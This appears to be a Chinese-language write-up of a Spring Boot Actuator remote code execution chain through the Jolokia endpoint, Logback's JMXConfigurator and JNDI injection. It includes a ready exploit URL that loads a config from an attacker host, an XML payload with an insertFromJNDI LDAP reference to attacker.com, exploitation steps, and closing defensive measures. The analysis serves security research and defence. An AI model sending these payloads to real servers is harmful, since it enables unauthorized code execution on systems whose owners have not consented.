spring boot actuator rce via jolokia
字数 1387 2025-08-26 22:11:22
Spring Boot Actuator RCE via Jolokia 漏洞分析与利用
漏洞概述
本漏洞利用链通过Spring Boot Actuator的Jolokia端点,结合Logback的JMXConfigurator功能,最终通过JNDI注入实现远程代码执行(RCE)。漏洞影响Spring Boot Actuator 1.4.7及Jolokia-core 1.6.0等版本。
漏洞利用链
Spring-boot-actuator -> Jolokia -> Logback -> JNDI -> RCE
漏洞利用POC
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/evilhost!/evilconfig.xml
详细分析
1. Jolokia端点处理流程
-
请求路由:
- 所有以
/jolokia开头的请求都会进入JolokiaMvcEndpoint类的处理逻辑 - 最终进入
org.jolokia.http.HttpRequestHandler#handleGetRequest方法
- 所有以
-
路径解析:
- 路径会被
/分割,但可以使用!来保留/字符(如http:!/!/会被解析为http://) - 根据路径创建
JmxRequest对象
- 路径会被
-
JmxRequest创建:
exec类型的请求对应org.jolokia.request.JmxExecRequest- 第一个路径节点传入
javax.management.ObjectName构造函数 - 下一个节点作为operation属性
- 剩余节点作为arguments属性列表
2. 请求执行过程
-
ExecHandler处理:
- 创建
org.jolokia.handler.ExecHandler对象 - 在
doHandRequest方法中:- 对operation进行参数类型鉴定
- 将arguments转换为目标函数需要的参数类型
- 通过
server.invoke执行指定类的指定方法
- 创建
-
方法调用限制:
- 只能调用已注册的类和方法
- 可通过
/jolokia/list查看可调用的类
3. Logback JMXConfigurator利用
-
目标类:
ch.qos.logback.classic.jmx.JMXConfigurator- 关键方法:
reloadByURL
-
reloadByURL方法分析:
public void reloadByURL(URL url) { // 从URL获取输入流 InputStream in = url.openStream(); // 调用doConfigure doConfigure(in); } -
配置重载过程:
doConfigure方法从URL获取输入流- 最终调用
recordEvents方法处理XML输入流 - XML解析过程无任何防护措施,存在XXE漏洞
4. RCE实现方式
通过Logback的insertFromJNDI标签实现JNDI注入:
<configuration>
<insertFromJNDI env-entry-name="ldap://attacker.com/Exploit" as="appName" />
</configuration>
利用过程:
- 攻击者控制XML配置文件中的JNDI地址
- 指向恶意JNDI服务器
- 通过JNDI触发Java反序列化
- 最终实现远程代码执行
漏洞利用步骤
-
准备恶意XML配置文件:
- 包含恶意JNDI引用
- 托管在攻击者控制的服务器上
-
构造利用URL:
http://target:port/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker.com!/malicious.xml -
启动恶意JNDI服务器:
- 托管包含恶意序列化对象的LDAP/RMI服务
防御措施
-
禁用不必要的Actuator端点:
endpoints.jolokia.enabled=false -
限制Actuator端点访问:
- 通过Spring Security配置访问控制
- 只允许可信IP访问
-
升级组件版本:
- 升级Spring Boot Actuator至最新安全版本
- 升级Jolokia至修复版本
-
输入验证:
- 对Jolokia端点的输入进行严格验证
-
禁用危险的JMX操作:
- 限制可执行的JMX操作